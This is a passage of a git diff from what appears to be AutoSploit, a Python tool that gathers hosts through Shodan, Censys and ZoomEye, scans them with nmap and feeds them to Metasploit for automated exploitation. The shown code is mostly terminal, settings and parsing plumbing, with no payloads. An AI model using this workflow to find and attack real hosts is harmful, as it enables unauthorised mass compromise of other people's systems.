attempted_host.findall("address"): + address_type = address.get('addrtype') + addresses[address_type] = address.get('addr') + if address_type == "ipv4": + host = addresses[address_type] + elif address_type == "mac" and address.get('vendor') is not None: + vendors[addresses[address_type]] = address.get('vendor') + if host is None: + host = attempted_host.find('address').get('addr') + hostnames = [] + if len(attempted_host.findall('hostnames/hostname')) != 0: + for current_hostnames in attempted_host.findall('hostnames/hostname'): + hostnames.append({ + 'hostname': current_hostnames.get('name'), + 'host_type': current_hostnames.get('type') + }) + else: + hostnames.append({ + 'hostname': None, + 'host_type': None + }) + + results['nmap_scan'][host] = {} + results['nmap_scan'][host]['hostnames'] = hostnames + results['nmap_scan'][host]['addresses'] = addresses + results['nmap_scan'][host]['vendors'] = vendors + + for status in attempted_host.findall('status'): + results['nmap_scan'][host]['status'] = { + 'state': status.get('state'), + 'reason': status.get('reason') + } + for uptime in attempted_host.findall('uptime'): + results['nmap_scan'][host]['uptime'] = { + 'seconds': uptime.get('seconds'), + 'lastboot': uptime.get('lastboot') + } + for discovered_port in attempted_host.findall('ports/port'): + protocol = discovered_port.get('protocol') + port_number = discovered_port.get('portid') + port_state = discovered_port.find('state').get('state') + port_reason = discovered_port.find('state').get('reason') + + # this is actually a thing!! + name = discovered_config = discovered_version = extra_information = discovered_product = stuff = "" + for discovered_name in discovered_port.findall('service'): + name = discovered_name.get('name') + if discovered_name.get('product'): + discovered_product = discovered_name.get('product') + if discovered_name.get('version'): + discovered_version = discovered_name.get('version') + if discovered_name.get('extrainfo'): + extra_information = discovered_name.get('extrainfo') + if discovered_name.get('conf'): + discovered_config = discovered_name.get('conf') + + for other_stuff in discovered_name.findall('cpe'): + stuff = other_stuff.text + if protocol not in results['nmap_scan'][host].keys(): + results['nmap_scan'][host][protocol] = list() + results['nmap_scan'][host][protocol].append({ + 'port': port_number, 'state': port_state, 'reason': port_reason, + 'name': name, 'product': discovered_product, 'version': discovered_version, + 'extrainfo': extra_information, 'conf': discovered_config, 'cpe': stuff + }) + + return results diff --git a/lib/settings.py b/lib/settings.py index 3f1250f..d4eacbf 100644 --- a/lib/settings.py +++ b/lib/settings.py @@ -1,4 +1,5 @@ import os +import re import sys import time import socket @@ -6,6 +7,7 @@ import platform import getpass import tempfile +import readline import distutils.spawn from subprocess import ( PIPE, @@ -16,11 +18,86 @@ import lib.output import lib.banner +import lib.jsonize + +class AutoSploitCompleter(object): + + """ + object to create an auto completer for the terminal + """ + + def __init__(self, opts): + self.opts = sorted(opts) + self.possibles = [] + + def complete_text(self, text, state): + if state == 0: + if text: + self.possibles = [m for m in self.opts if m.startswith(text)] + else: + self.possibles = self.opts[:] + try: + return self.possibles[state] + except IndexError: + return None + + +TERMINAL_HELP_MESSAGE = """ +COMMAND: SUMMARY: +--------- -------- +view/show Show the already gathered hosts +mem[ory]/history Display the command history +exploit/run/attack Run the exploits on the already gathered hosts +search/api/gather Search the API's for hosts +exit/quit Exit the terminal session +single Load a single host into the file, or multiple hosts separated by a comma (1,2,3,..) +personal/custom Load a custom host file +tokens/reset Reset API tokens if needed +external View loaded external commands +ver[sion] View the current version of the program +clean/clear Clean the hosts.txt file of duplicate IP addresses +help/? Display this help +""" + +# current directory CUR_DIR = "{}".format(os.getcwd()) +# home +HOME = "{}/.autosploit_home".format(os.path.expanduser("~")) + +# backup the current hosts file +HOST_FILE_BACKUP = "{}/backups".format(HOME) + +# autosploit command history file path +HISTORY_FILE_PATH = "{}/.history".format(HOME) + +# we'll save the scans xml output for future use +NMAP_XML_OUTPUT_BACKUP = "{}/nmap_scans/xml".format(HOME) + +# we'll dump the generated dict data into JSON and save it into a file +NMAP_JSON_OUTPUT_BACKUP = "{}/nmap_scans/json".format(HOME) + +# regex to discover errors or warnings +NMAP_ERROR_REGEX_WARNING = re.compile("^warning: .*", re.IGNORECASE) + +# possible options in nmap +NMAP_OPTIONS_PATH = "{}/etc/text_files/nmap_opts.lst".format(CUR_DIR) + +# possible paths for nmap +NMAP_POSSIBLE_PATHS = ( + 'nmap', '/usr/bin/nmap', '/usr/local/bin/nmap', '/sw/bin/nmap', '/opt/local/bin/nmap' +) + +# link to the checksums +CHECKSUM_LINK = open("{}/etc/text_files/checksum_link.txt".format(CUR_DIR)).read() + # path to the file containing all the discovered hosts HOST_FILE = "{}/hosts.txt".format(CUR_DIR) +try: + open(HOST_FILE).close() +except: + open(HOST_FILE, "a+").close() # path to the folder containing all the JSON exploit modules EXPLOIT_FILES_PATH = "{}/etc/json".format(CUR_DIR) @@ -31,7 +108,8 @@ # one bash script to rule them all takes an argument via the operating system START_SERVICES_PATH = "{}/etc/scripts/start_services.sh".format(CUR_DIR) -RC_SCRIPTS_PATH = "{}/autosploit_out/".format(CUR_DIR) +# path where we will keep the rc scripts +RC_SCRIPTS_PATH = "{}/autosploit_out/".format(HOME) # path to the file that will contain our query QUERY_FILE_PATH = tempfile.NamedTemporaryFile(delete=False).name @@ -45,7 +123,7 @@ PLATFORM_PROMPT = "\n{}@\033[36mPLATFORM\033[0m$ ".format(getpass.getuser()) # the prompt that will be used most of the time -AUTOSPLOIT_PROMPT = "\n\033[31m{}\033[0m@\033[36mautosploit\033[0m# ".format(getpass.getuser()) +AUTOSPLOIT_PROMPT = "\033[31m{}\033[0m@\033[36mautosploit\033[0m# ".format(getpass.getuser()) # all the paths to the API tokens API_KEYS = { @@ -63,6 +141,15 @@ ) } +# has msf been launched? +MSF_LAUNCHED = False + +# token path for issue requests +TOKEN_PATH = "{}/etc/text_files/auth.key".format(CUR_DIR) + +# location of error files +ERROR_FILES_LOCATION = "{}/.autosploit_errors".format(HOME) + # terminal options AUTOSPLOIT_TERM_OPTS = { 1: "usage and legal", 2: "gather hosts", 3: "custom hosts", @@ -70,14 +157,58 @@ 99: "quit" } +# global variable for the search animation stop_animation = False -def validate_ip_addr(provided): +def load_external_commands(): + """ + create a list of external commands from provided directories + """ + paths = ["/bin", "/usr/bin"] + loaded_externals = [] + for f in paths: + for cmd in os.listdir(f): + if not os.path.isdir("{}/{}".format(f, cmd)): + loaded_externals.append(cmd) + return loaded_externals + + +def backup_host_file(current, path): + """ + backup the current hosts file + """ + import datetime + import shutil + + if not os.path.exists(path): + os.makedirs(path) + new_filename = "{}/hosts_{}_{}.txt".format( + path, + lib.jsonize.random_file_name(length=22), + str(datetime.datetime.today()).split(" ")[0] + ) + shutil.copyfile(current, new_filename) + return new_filename + + +def auto_completer(keywords): + """ + function to initialize the auto complete utility + """ + completer = AutoSploitCompleter(keywords) + readline.set_completer(completer.complete_text) + readline.parse_and_bind('tab: complete') + + +def validate_ip_addr(provided, home_ok=False): """ validate an IP address to see if it is real or not """ - not_acceptable = ("0.0.0.0", "127.0.0.1", "255.255.255.255") + if not home_ok: + not_acceptable = ("0.0.0.0", "127.0.0.1", "255.255.255.255") + else: + not_acceptable = ("255.255.255.255",) if provided not in not_acceptable: try: socket.inet_aton(provided) @@ -173,7 +304,7 @@ def load_api_keys(unattended=False, path="{}/etc/tokens".format(CUR_DIR)): return api_tokens -def cmdline(command): +def cmdline(command, is_msf=True): """ send the commands through subprocess """ @@ -182,12 +313,18 @@ def cmdline(command): split_cmd = [x.strip() for x in command.split(" ") if x] sys.stdout.flush() - - proc = Popen(split_cmd, stdout=PIPE, bufsize=1) stdout_buff = [] - for stdout_line in iter(proc.stdout.readline, b''): - stdout_buff += [stdout_line.rstrip()] - print("(msf)>> {}".format(stdout_line).rstrip()) + + try: + proc = Popen(split_cmd, stdout=PIPE, bufsize=1) + for stdout_line in iter(proc.stdout.readline, b''): + stdout_buff += [stdout_line.rstrip()] + if is_msf: + print("(msf)>> {}".format(stdout_line).rstrip()) + else: + print("{}".format(stdout_line).rstrip()) + except OSError as e: + stdout_buff += "ERROR: " + str(e) return stdout_buff @@ -253,6 +390,7 @@ def close(warning, status=1): lib.output.error(warning) sys.exit(status) + def grab_random_agent(): """ get a random HTTP User-Agent @@ -292,3 +430,63 @@ def configure_requests(proxy=None, agent=None, rand_agent=False): } return proxy_dict, header_dict + + +def save_error_to_file(error_info, error_message, error_class): + """ + save an error traceback to log file for further use + """ + + import string + + if not os.path.exists(ERROR_FILES_LOCATION): + os.makedirs(ERROR_FILES_LOCATION) + acceptable = string.ascii_letters + filename = [] + for _ in range(12): + filename.append(random.choice(acceptable)) + filename = ''.join(filename) + "_AS_error.txt" + file_path = "{}/{}".format(ERROR_FILES_LOCATION, filename) + with open(file_path, "a+") as log: + log.write( + "Traceback (most recent call):\n " + error_info.strip() + "\n{}: {}".format(error_class, error_message) + ) + return file_path + + +def download_modules(link): + """ + download new module links + """ + import re + import requests + import tempfile + + lib.output.info('downloading: {}'.format(link)) + retval = "" + req = requests.get(link) + content = req.content + split_data = content.split(" ") + searcher = re.compile("exploit/\w+/\w+") + storage_file = tempfile.NamedTemporaryFile(delete=False) + for item in split_data: + if searcher.search(item) is not None: + retval += item + "\n" + with open(storage_file.name, 'a+') as tmp: + tmp.write(retval) + return storage_file.name + + +def find_similar(command, internal, external): + """ + find commands similar to the one provided + """ + retval = [] + first_char = command[0] + for inter in internal: + if inter.startswith(first_char): + retval.append(inter) + for exter in external: + if exter.startswith(first_char): + retval.append(exter) + return retval diff --git a/lib/term/terminal.py b/lib/term/terminal.py index 7396b45..a320dc3 100644 --- a/lib/term/terminal.py +++ b/lib/term/terminal.py @@ -1,12 +1,20 @@ import os -import sys +import json +import datetime +import lib.banner import lib.settings import lib.output -import lib.exploitation.exploiter +import lib.errors +import lib.jsonize import api_calls.shodan import api_calls.zoomeye import api_calls.censys +import lib.exploitation.exploiter +try: + raw_input +except: + input = raw_input class AutoSploitTerminal(object): @@ -15,329 +23,726 @@ class AutoSploitTerminal(object): class object for the main terminal of the program """ - def __init__(self, tokens): + internal_terminal_commands = [ + # viewing gathered hosts + "view", "show", + # displaying memory + "mem", "memory", "history", + # attacking targets + "exploit", "run", "attack", + # search API's + "search", "api", "gather", + # quit the terminal + "exit", "quit", + # single hosts + "single", + # custom hosts list + "custom", "personal", + # display help + "?", "help", + # display external commands + "external", + # reset API tokens + "reset", "tokens", + # show the version number + "ver", "version", + # clean the hosts file of duplicate IP's + "clean", "clear", + # easter eggs! + "idkwhatimdoing", "ethics", "skid", + # nmap arguments + "nmap", "mapper", "mappy" + ] + external_terminal_commands = lib.settings.load_external_commands() + api_call_pointers = { + "shodan": api_calls.shodan.ShodanAPIHook, + "zoomeye": api_calls.zoomeye.ZoomEyeAPIHook, + "censys": api_calls.censys.CensysAPIHook + } + + def __init__(self, tokens, modules): + self.history = [] + self.quit_terminal = False self.tokens = tokens - self.usage_path = lib.settings.USAGE_AND_LEGAL_PATH - self.sep = "-" * 30 - self.host_path = lib.settings.HOST_FILE + self.history_dir = "{}/{}".format(lib.settings.HISTORY_FILE_PATH, datetime.date.today()) + self.full_history_path = "{}/autosploit.history".format(self.history_dir) + self.modules = modules try: - open(lib.settings.HOST_FILE).readlines() - except IOError: - lib.output.warning("no hosts file present, you need to gather some hosts") - self.host_path = lib.settings.HOST_FILE - - def usage_and_legal(self): - """ - shows a display of the output and legal information that resides - in the etc/text_files/general file. - - option 1 must be provided to display - """ - lib.output.info("preparing to display usage and legal") - with open(self.usage_path) as usage: - print(usage.read().strip()) - - def help(self, command): - """ - print the help of the commands - """ - help_dict = { - "usage": self.usage_and_legal, - "view": self.view_gathered_hosts, - "single": self.add_single_host, - "exit": self.quit, - "gather": self.gather_hosts, - "exploit": self.exploit_gathered_hosts, - "custom": self.custom_host_list - } - for key in help_dict.keys(): - if command == key: - lib.output.info("help found for provided argument:") - print(self.sep) - print(help_dict[key].__doc__) - print(self.sep) - break - else: - lib.output.warning("unable to find help for provided command '{}'".format(command)) - lib.output.info("available helps '{}'".format( - ", ".join([k for k in help_dict.keys()]) - )) + self.loaded_hosts = open(lib.settings.HOST_FILE).readlines() + except (IOError, Exception): + lib.output.warning("no hosts file present") + self.loaded_hosts = open(lib.settings.HOST_FILE, "a+").readlines() - def view_gathered_hosts(self): + def __reload(self): + self.loaded_hosts = open(lib.settings.HOST_FILE).readlines() + + def reflect_memory(self, max_memory=100): + """ + reflect the command memory out of the history file """ - print a list of all available hosts in the hosts.txt file + if os.path.exists(self.history_dir): + tmp = [] + try: + with open(self.full_history_path) as history: + for item in history.readlines(): + tmp.append(item.strip()) + except: + pass + if len(tmp) == 0: + lib.output.warning("currently no history") + elif len(tmp) > max_memory: + import shutil + + history_file_backup_path = "{}.{}.old".format( + self.full_history_path, + lib.jsonize.random_file_name(length=12) + ) + shutil.copy(self.full_history_path, history_file_backup_path) + os.remove(self.full_history_path) + open(self.full_history_path, 'a+').close() + lib.output.misc_info("history file to large, backed up under '{}'".format(history_file_backup_path)) + else: + for cmd in tmp: + self.history.append(cmd) - option 5 must be provided + def do_display_history(self): """ - lib.output.info("loading gathered hosts from '{}'".format(self.host_path)) + display the history from the history files + """ + for i, item in enumerate(self.history, start=1): + if len(list(str(i))) == 2: + spacer1, spacer2 = " ", " " + elif len(list(str(i))) == 3: + spacer1, spacer2 = " ", " " + else: + spacer1, spacer2 = " ", " " + print("{}{}{}{}".format(spacer1, i, spacer2, item)) + + def get_choice(self): + """ + get the provided choice and return a tuple of options and the choice + """ + original_choice = raw_input(lib.settings.AUTOSPLOIT_PROMPT) try: - with open(self.host_path) as hosts: - for host in hosts.readlines(): - # should take care of some Unicode errors that occur - lib.output.info(str(host.strip())) - except IOError: - lib.output.warning("hosts file doesn't exist, looks like you haven't gathered any") + choice_checker = original_choice.split(" ")[0] + except: + choice_checker = original_choice + if choice_checker in self.internal_terminal_commands: + retval = ("internal", original_choice) + elif choice_checker in self.external_terminal_commands: + retval = ("external", original_choice) + else: + retval = ("unknown", original_choice) + return retval - def add_single_host(self): + def do_show_version_number(self): """ - add a singular host to the hosts.txt file and check if the host - will resolve to a true IP address, if it is not a true IP address - you will be re-prompted for an IP address + display the current version number + """ + lib.output.info("your current version number: {}".format(lib.banner.VERSION)) - option 4 must be provided + def do_display_external(self): """ - provided = False - while not provided: - new_host = lib.output.prompt("enter the host IP you wish to add", lowercase=False) - if not lib.settings.validate_ip_addr(new_host): - lib.output.warning("provided host does not appear to be a true IP, try again") - else: - with open(self.host_path, "a+") as hosts: - hosts.write(new_host + os.linesep) - lib.output.info("successfully wrote provided host to {}".format(self.host_path)) - break + display all external commands + """ + print(" ".join(self.external_terminal_commands)) - def quit(self, status): + def do_terminal_command(self, command): """ - quits the terminal and exits the program entirely + run a terminal command + """ + lib.settings.cmdline(command, is_msf=False) - option 99 must be provided + def do_clean_hosts(self): + """ + Clean the hosts.txt file of any duplicate IP addresses """ - lib.output.error("aborting terminal session") - assert isinstance(status, int) - sys.exit(status) + retval = set() + current_size = len(self.loaded_hosts) + for host in self.loaded_hosts: + retval.add(host) + cleaned_size = len(retval) + with open(lib.settings.HOST_FILE, 'w') as hosts: + for item in list(retval): + hosts.write(item) + if current_size != cleaned_size: + lib.output.info("cleaned {} duplicate IP address(es) (total of {})".format( + current_size - cleaned_size, cleaned_size + ) + ) + self.__reload() - def gather_hosts(self, query, given_choice=None, proxy=None, agent=None): + def do_token_reset(self, api, token, username): """ - gather hosts from either Shodan, Zoomeye, Censys, or multiple - by providing a comma between integers. + Explanation: + ------------ + Reset the API tokens when needed, this will overwrite the existing + API token with a provided one - option 2 must be provided + Parameters: + ----------- + :param api: name of the API to reset + :param token: the token that will overwrite the current token + :param username: if resetting Censys this will be the user ID token + + Examples: + --------- + Censys -> reset/tokens censys + Shodan -> reset.tokens shodan """ - choice_dict = { - 1: api_calls.shodan.ShodanAPIHook, - 2: api_calls.zoomeye.ZoomEyeAPIHook, - 3: api_calls.censys.CensysAPIHook - } - searching = False - if given_choice is None: - lib.output.info("please choose an API to gather from (choosing two or more " - "separate by comma IE; 1,2)") - for i, api in enumerate(lib.settings.API_URLS.keys(), start=1): - print("{}. {}".format(i, api.title())) - choice = raw_input(lib.settings.AUTOSPLOIT_PROMPT) + import sys + + if sys.version_info > (3,): + token = token.encode("utf-8") + username = username.encode("utf-8") + + if api.lower() == "censys": + lib.output.info("resetting censys API credentials") + with open(lib.settings.API_KEYS["censys"][0], 'w') as token_: + token_.write(token) + with open(lib.settings.API_KEYS["censys"][1], 'w') as username_: + username_.write(username) else: - choice = given_choice - while not searching: - # TODO[2]:// bug in the animation, if the user chooses one search engine to search - # the animation does not stop when the user chooses a single search engine, instead - # the user will see the animation continuously until they either: - # A) exit the terminal - # B) search another search engine - try: - # something in here needs to change (see TODO[2]) - choice = int(choice) - if choice == 1: - choice_dict[choice]( - self.tokens["shodan"][0], query, proxy=proxy, agent=agent - ).shodan() - break - elif choice == 2: - choice_dict[choice](query, proxy=proxy, agent=agent).zoomeye() - break - elif choice == 3: - choice_dict[choice]( - self.tokens["censys"][1], self.tokens["censys"][0], query, - proxy=proxy, agent=agent - ).censys() - break - else: - lib.output.warning("invalid option provided, going back to main menu") - break - except (ValueError, KeyError): - if "," in choice: - for i in choice.split(","): - if int(i) in choice_dict.keys(): - self.gather_hosts(query, given_choice=int(i), proxy=proxy, agent=agent) - else: - lib.output.warning("invalid option, skipping") - break - break - else: - lib.output.warning("must be integer between 1-{} not string".format(len(lib.settings.API_URLS.keys()))) - self.gather_hosts(query, proxy=proxy, agent=agent) + with open(lib.settings.API_KEYS["shodan"][0], 'w') as token_: + token_.write(token) + lib.output.warning("program must be restarted for the new tokens to initialize") - def exploit_gathered_hosts(self, loaded_mods, hosts=None): + def do_api_search(self, requested_api_data, query, tokens): """ - exploit already gathered hosts from the hosts.txt file + Explanation: + ------------ + Search the API with a provided query for potentially exploitable hosts. - option 6 must be provided + Parameters: + ----------- + :param requested_api_data: data to be used with the API tuple of info + :param query: the query to be searched + :param tokens: an argument dict that will contain the token information + + Command Format: + -------------- + search[/api/gather] API_NAME[API_NAME,...](shodan,censys,zoomeye) QUERY + + Examples: + --------- + search shodan,censys,zoomeye windows 10 + search shodan windows 7 """ - ruby_exec = False - msf_path = None - whitelist_file = lib.output.prompt("specify full path to a whitelist file, otherwise hit enter", lowercase=False) - if hosts is None: - if whitelist_file is not "" and not whitelist_file.isspace(): - # If whitelist is specified, return a washed hosts list - host_file = lib.exploitation.exploiter.whitelist_wash(open(self.host_path).readlines(), whitelist_file) - else: - host_file = open(self.host_path).readlines() - else: - if whitelist_file is not "" and not whitelist_file.isspace(): - # If whitelist is specified, return a washed hosts list - host_file = lib.exploitation.exploiter.whitelist_wash(open(hosts).readlines(), whitelist_file) + acceptable_api_names = ("shodan", "censys", "zoomeye") + api_checker = lambda l: all(i.lower() in acceptable_api_names for i in l) + + try: + if len(query) < 1: + query = "".join(query) else: - host_file = open(hosts).readlines() - if not lib.settings.check_for_msf(): - msf_path = lib.output.prompt( - "it appears that MSF is not in your PATH, provide the full path to msfconsole" - ) - ruby_exec = True - lib.output.info( - "you will need to do some configuration to MSF.\n" - "please keep in mind that sending connections back to " - "your local host is probably not a smart idea." - ) - configuration = ( - lib.output.prompt("enter your workspace name", lowercase=False), - lib.output.prompt("enter your LHOST", lowercase=False), - lib.output.prompt("enter your LPORT", lowercase=False) - ) - exploiter = lib.exploitation.exploiter.AutoSploitExploiter( - configuration, - loaded_mods, - hosts=host_file, - ruby_exec=ruby_exec, - msf_path=msf_path - ) + query = " ".join(query) + except: + query = query + + if query == "" or query.isspace(): + lib.output.warning("looks like you forgot the query") + return try: - sorted_mods = exploiter.sort_modules_by_query() - choice = lib.output.prompt( - "a total of {} modules have been sorted by relevance, would you like to display them[y/N]".format( - len(sorted_mods) - ) + api_list = requested_api_data.split(",") + except: + api_list = [requested_api_data] + prompt_for_save = len(open(lib.settings.HOST_FILE).readlines()) != 0 + if prompt_for_save: + save_mode = lib.output.prompt( + "would you like to [a]ppend or [o]verwrite the file[a/o]", lowercase=True ) + if save_mode.startswith("o"): + backup = lib.settings.backup_host_file(lib.settings.HOST_FILE, lib.settings.HOST_FILE_BACKUP) + lib.output.misc_info("current host file backed up under: '{}'".format(backup)) + save_mode = "w" + else: + if not any(save_mode.startswith(s) for s in ("a", "o")): + lib.output.misc_info("provided option is not valid, defaulting to 'a'") + save_mode = "a+" + else: + save_mode = "a+" - if not choice.lower().strip().startswith("y"): - mods = lib.output.prompt("use relevant modules[y/N]") - if mods.lower().startswith("n"): - lib.output.info( - "starting exploitation with all loaded modules (total of {})".format(len(loaded_mods))) - exploiter.start_exploit() - elif mods.lower().startswith("y"): - lib.output.info("starting exploitation with sorted modules (total of {})".format(len(sorted_mods))) - exploiter.start_exploit() + proxy = lib.output.prompt("enter your proxy or press enter for none", lowercase=False) + if proxy.isspace() or proxy == "": + proxy = {"http": "", "https": ""} + else: + proxy = {"http": proxy, "https": proxy} + agent = lib.output.prompt("use a [r]andom User-Agent or the [d]efault one[r/d]", lowercase=True) + if agent.startswith("r"): + agent = {"User-Agent": lib.settings.grab_random_agent()} + elif agent.startswith("d"): + agent = {"User-Agent": lib.settings.DEFAULT_USER_AGENT} + else: + lib.output.warning("invalid option, using default") + agent = {"User-Agent": lib.settings.DEFAULT_USER_AGENT} + for api in api_list: + res = api_checker([api]) + if not res: + lib.output.error( + "API: '{}' is not a valid API, will be skipped".format(api) + ) else: - exploiter.view_sorted() - mods = lib.output.prompt("use relevant modules[y/N]") - if mods.lower().startswith("n"): - lib.output.info( - "starting exploitation with all loaded modules (total of {})".format(len(loaded_mods))) - exploiter.start_exploit() - elif mods.lower().startswith("y"): - lib.output.info("starting exploitation with sorted modules (total of {})".format(len(sorted_mods))) - exploiter.start_exploit() - except AttributeError: - lib.output.warning("unable to sort modules by relevance") + with open(lib.settings.QUERY_FILE_PATH, "a+") as tmp: + tmp.write(query) + lib.output.info( + "starting search on API {} using query: '{}'".format(api, query) + ) + try: + self.api_call_pointers[api.lower()]( + token=tokens["shodan"][0] if api == "shodan" else tokens["censys"][0], + identity=tokens["censys"][1] if api == "censys" else "", + query=query, + save_mode=save_mode, + proxy=proxy, + agent=agent + ).search() + except (lib.errors.AutoSploitAPIConnectionError, Exception) as e: + lib.settings.stop_animation = True + lib.output.error("error searching API: '{}', error message: '{}'".format(api, str(e))) + lib.settings.stop_animation = True + def do_display_usage(self): + """ + display the full help menu + """ + print(lib.settings.TERMINAL_HELP_MESSAGE) - def custom_host_list(self, mods): + def do_view_gathered(self): """ - provided a custom host list that will be used for exploitation + view the gathered hosts + """ + if len(self.loaded_hosts) != 0: + for host in self.loaded_hosts: + lib.output.info(host.strip()) + else: + lib.output.warning("currently no gathered hosts") - option 3 must be provided + def do_add_single_host(self, ip): """ - provided_host_file = lib.output.prompt("enter the full path to your host file", lowercase=False) - self.exploit_gathered_hosts(mods, hosts=provided_host_file) + Explanation: + ------------ + Add a single host by IP address + Or a list of single hosts separatedd by a comma + + Parameters: + ----------- + :param ip: IP address to be added - def terminal_main_display(self, loaded_mods): + Command Format: + -------------- + single IP[,IP,IP,IP,IP,...] + + Examples: + --------- + single 89.76.12.124,89.76.12.43 + """ + for item in ip.split(","): + validated_ip = lib.settings.validate_ip_addr(item) + if not validated_ip: + lib.output.error("provided IP '{}' is invalid, try again".format(ip)) + else: + with open(lib.settings.HOST_FILE, "a+") as hosts: + hosts.write(item + "\n") + lib.output.info("host '{}' saved to hosts file".format(item)) + + def do_quit_terminal(self, save_history=True): """ - main output of the terminal + quit the terminal and save the command history """ + self.quit_terminal = True + if save_history: + if not os.path.exists(self.history_dir): + os.makedirs(self.history_dir) + lib.output.misc_info("saving history") + with open(self.full_history_path, "a+") as hist: + for item in self.history: + hist.write(item + "\n") + lib.output.info("exiting terminal session") + + def do_exploit_targets(self, workspace_info, shodan_token=None): + """ + Explanation: + ------------ + Exploit the already gathered hosts inside of the hosts.txt file + + Parameters: + ----------- + :param workspace_info: a tuple of workspace information - def __config_headers(): - proxy = lib.output.prompt("enter your proxy (blank for none)", lowercase=False) - agent = lib.output.prompt( - "do you want to use a (p)ersonal user agent, a (r)andom one, or (d)efault" + Command Format: + -------------- + exploit[/run/attack] IP PORT WORKSPACE_NAME [whitewash list] + + Examples: + --------- + exploit 127.0.0.1 9065 default whitelist.txt + """ + if workspace_info[3] is not None and workspace_info[3] != "honeycheck": + lib.output.misc_info("doing whitewash on hosts file") + lib.exploitation.exploiter.whitelist_wash( + open(lib.settings.HOST_FILE).readlines(), + workspace_info[3] ) - if proxy == "" or proxy.isspace(): - proxy = None - if agent.lower().startswith("p"): - agent = lib.output.prompt("enter your User-Agent", lowercase=False) - elif agent.lower().startswith("r"): - agent = lib.settings.grab_random_agent() - elif agent.lower().startswith("d"): - agent = None + else: + if not lib.settings.check_for_msf(): + msf_path = lib.output.prompt( + "metasploit is not in your PATH, provide the full path to it", lowercase=False + ) + ruby_exec = True else: - lib.output.warning("invalid argument, default will be selected") - agent = None - proxy, agent = lib.settings.configure_requests(proxy=proxy, agent=agent) - return proxy, agent + msf_path = None + ruby_exec = False + + sort_mods = lib.output.prompt( + "sort modules by relevance to last query[y/N]", lowercase=True + ) + + try: + if sort_mods.lower().startswith("y"): + mods_to_use = lib.exploitation.exploiter.AutoSploitExploiter( + None, None + ).sort_modules_by_query() + else: + mods_to_use = self.modules + except Exception: + lib.output.error("error sorting modules defaulting to all") + mods_to_use = self.modules + + view_modules = lib.output.prompt("view sorted modules[y/N]", lowercase=True) + if view_modules.startswith("y"): + for mod in mods_to_use: + lib.output.misc_info(mod.strip()) + lib.output.prompt("press enter to start exploitation phase") + lib.output.info("starting exploitation phase") + lib.exploitation.exploiter.AutoSploitExploiter( + configuration=workspace_info[0:3], + all_modules=mods_to_use, + hosts=open(lib.settings.HOST_FILE).readlines(), + msf_path=msf_path, + ruby_exec=ruby_exec, + check_honey=workspace_info[-1], + shodan_token=shodan_token + ).start_exploit() + + def do_load_custom_hosts(self, file_path): + """ + Explanation: + ----------- + Load a custom exploit file, this is useful to attack already gathered hosts + instead of trying to gather them again from the backup host files inside + of the `.autosploit_home` directory + + Parameters: + ----------- + :param file_path: the full path to the loadable hosts file + + Command Format: + -------------- + custom[/personal] FILE_PATH + + Examples: + --------- + custom /some/path/to/myfile.txt + """ + import shutil + + try: + open("{}".format(file_path)).close() + except IOError: + lib.output.error("file does not exist, check the path and try again") + return + lib.output.warning("overwriting hosts file with provided, and backing up current") + backup_path = lib.settings.backup_host_file(lib.settings.HOST_FILE, lib.settings.HOST_FILE_BACKUP) + shutil.copy(file_path, lib.settings.HOST_FILE) + lib.output.info("host file replaced, backup stored under '{}'".format(backup_path)) + self.loaded_hosts = open(lib.settings.HOST_FILE).readlines() + + def do_nmap_scan(self, target, arguments): + """ + Explanation: + ----------- + Perform a nmap scan on a provided target, given that nmap is on your system. + If nmap is not on your system, this will not work, you may also provide + arguments known to nmap. - selected = False + Parameters: + ---------- + :param target: the target to attack + :param arguments: a string of arguments separated by a comma + Command Format: + -------------- + nmap[/mapper/mappy] TARGET [ARGUMENTS] + + Examples: + -------- + nmap/mapper/mappy 10.0.1.1 -sV,--dns-servers 1.1.1.1,--reason,-A + nmap 10.0.1.1/24 + """ + import lib.scanner.nmap + + sep = "-" * 30 + if arguments is not None: + arguments = arguments.split(",") + passable_arguments = lib.scanner.nmap.parse_nmap_args(arguments) + else: + passable_arguments = None try: - while not selected: - for i in lib.settings.AUTOSPLOIT_TERM_OPTS.keys(): - print("{}. {}".format(i, lib.settings.AUTOSPLOIT_TERM_OPTS[i].title())) - choice = raw_input(lib.settings.AUTOSPLOIT_PROMPT) - # TODO[3] this is ugly so it needs to change + nmap_path = lib.scanner.nmap.find_nmap(lib.settings.NMAP_POSSIBLE_PATHS) + except lib.errors.NmapNotFoundException: + nmap_path = None + lib.output.error("nmap was not found on your system please install nmap first") + return + lib.output.info("performing nmap scan on {}".format(target)) + try: + output, warnings, errors = lib.scanner.nmap.do_scan(target, nmap_path, arguments=passable_arguments) + formatted_results_output = lib.scanner.nmap.parse_xml_output(output, warnings, errors) + save_file = lib.scanner.nmap.write_data(target, formatted_results_output, is_xml=False) + lib.output.misc_info("JSON data dumped to file: '{}'".format(save_file)) + print("{sep}\n{data}\n{sep}".format( + data=json.dumps(formatted_results_output["nmap_scan"][target], indent=4), sep=sep + )) + except lib.errors.NmapScannerError as e: + lib.output.error(str(e).strip()) + + def terminal_main_display(self, tokens, extra_commands=None, save_history=True): + # idk what the fuck the problem is but this seems to fix it so... + import lib.output + """ + terminal main display + """ + lib.output.warning( + "no arguments have been parsed at run time, dropping into terminal session. " + "to get help type `help` to quit type `exit/quit` to get help on " + "a specific command type `command help`" + ) + + if extra_commands is not None: + for command in extra_commands: + self.external_terminal_commands.append(command) + self.reflect_memory() + while not self.quit_terminal: + try: + lib.settings.auto_completer(self.internal_terminal_commands) try: - choice = int(choice) - if choice == 99: - print(self.sep) - self.quit(0) - print(self.sep) - elif choice == 6: - print(self.sep) - self.exploit_gathered_hosts(loaded_mods) - print(self.sep) - elif choice == 5: - print(self.sep) - self.view_gathered_hosts() - print(self.sep) - elif choice == 4: - print(self.sep) - self.add_single_host() - print(self.sep) - elif choice == 3: - print(self.sep) - self.custom_host_list(loaded_mods) - print(self.sep) - elif choice == 2: - print(self.sep) - query = lib.output.prompt("enter your search query", lowercase=False) - try: - with open(lib.settings.QUERY_FILE_PATH, "w") as _query: - _query.write(query) - except AttributeError: - filename = tempfile.NamedTemporaryFile(delete=False).name - with open(filename, "w") as _query: - _query.write(query) - lib.settings.QUERY_FILE_PATH = filename - print lib.settings.QUERY_FILE_PATH - proxy, agent = __config_headers() - # possibly needs to change here (see TODO[2]) - self.gather_hosts(query, proxy=proxy, agent=agent) - print(self.sep) - elif choice == 1: - print(self.sep) - self.usage_and_legal() + choice_type, choice = self.get_choice() + if choice_type == "unknown": + sims = lib.settings.find_similar( + choice, + self.internal_terminal_commands, + self.external_terminal_commands + ) + if 